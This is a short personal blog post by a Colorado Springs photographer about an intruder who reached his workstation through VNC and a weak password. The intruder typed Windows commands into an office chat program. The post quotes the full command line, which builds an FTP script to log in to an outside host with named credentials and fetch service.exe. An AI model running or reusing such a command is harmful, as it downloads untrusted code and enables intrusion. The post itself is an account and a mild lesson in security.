Eric Schmitt Photo (Schmitty)

Epic Fail

At work the other day I was sitting down at my machine to enter some notes and find that someone had taken remote control of my workstation.  Some text was being typed into an interoffice instant messaging program the shop uses.  Confused I first had to figure out what was being said… I thought that it may be someone trying to stir up a ruckus with another employee under my name.  Reading what they were typing though had to make me laugh, here’s the text:

 %systemroot%\system32\cmd.exe

del eq&echo open c55.yi.org 21 » eq&echo user dbrown menu303 » eq &echo binary » eq &echo get service.exe » eq &echo quit » eq &ftp -n -s:eq &sj

 So most people familiar with computers will recognize that as being some windows system commands.  It looks like the intruder was trying to download an application onto my machine using ftp.  Grrrreat right?  Here’s where the Epic Fail comes into play.  First, my machine is a Mac running OS X 10.4, those commands will NEVER work on that computer.  Second they were typing it into an interoffice INSTANT MESSAGING PROGRAM!  How they expected it to execute I’ll never know.

 Oh and for those wondering HOW this genius entered my machine, well that’s a “my bad.”  They were using VNC which I have enabled on my workstation for various reasons.  I had a weak password for the VNC connection on it.  That’s been disabled and all the remaining passwords have been changed though and everything is looking good. 

What do I do?

I’m an action and sports photographer in Colorado Springs CO.  I shoot mostly skiing that’s my passion.  I’ve branched out to do portraits, landscapes, team sports, product and still life work as well.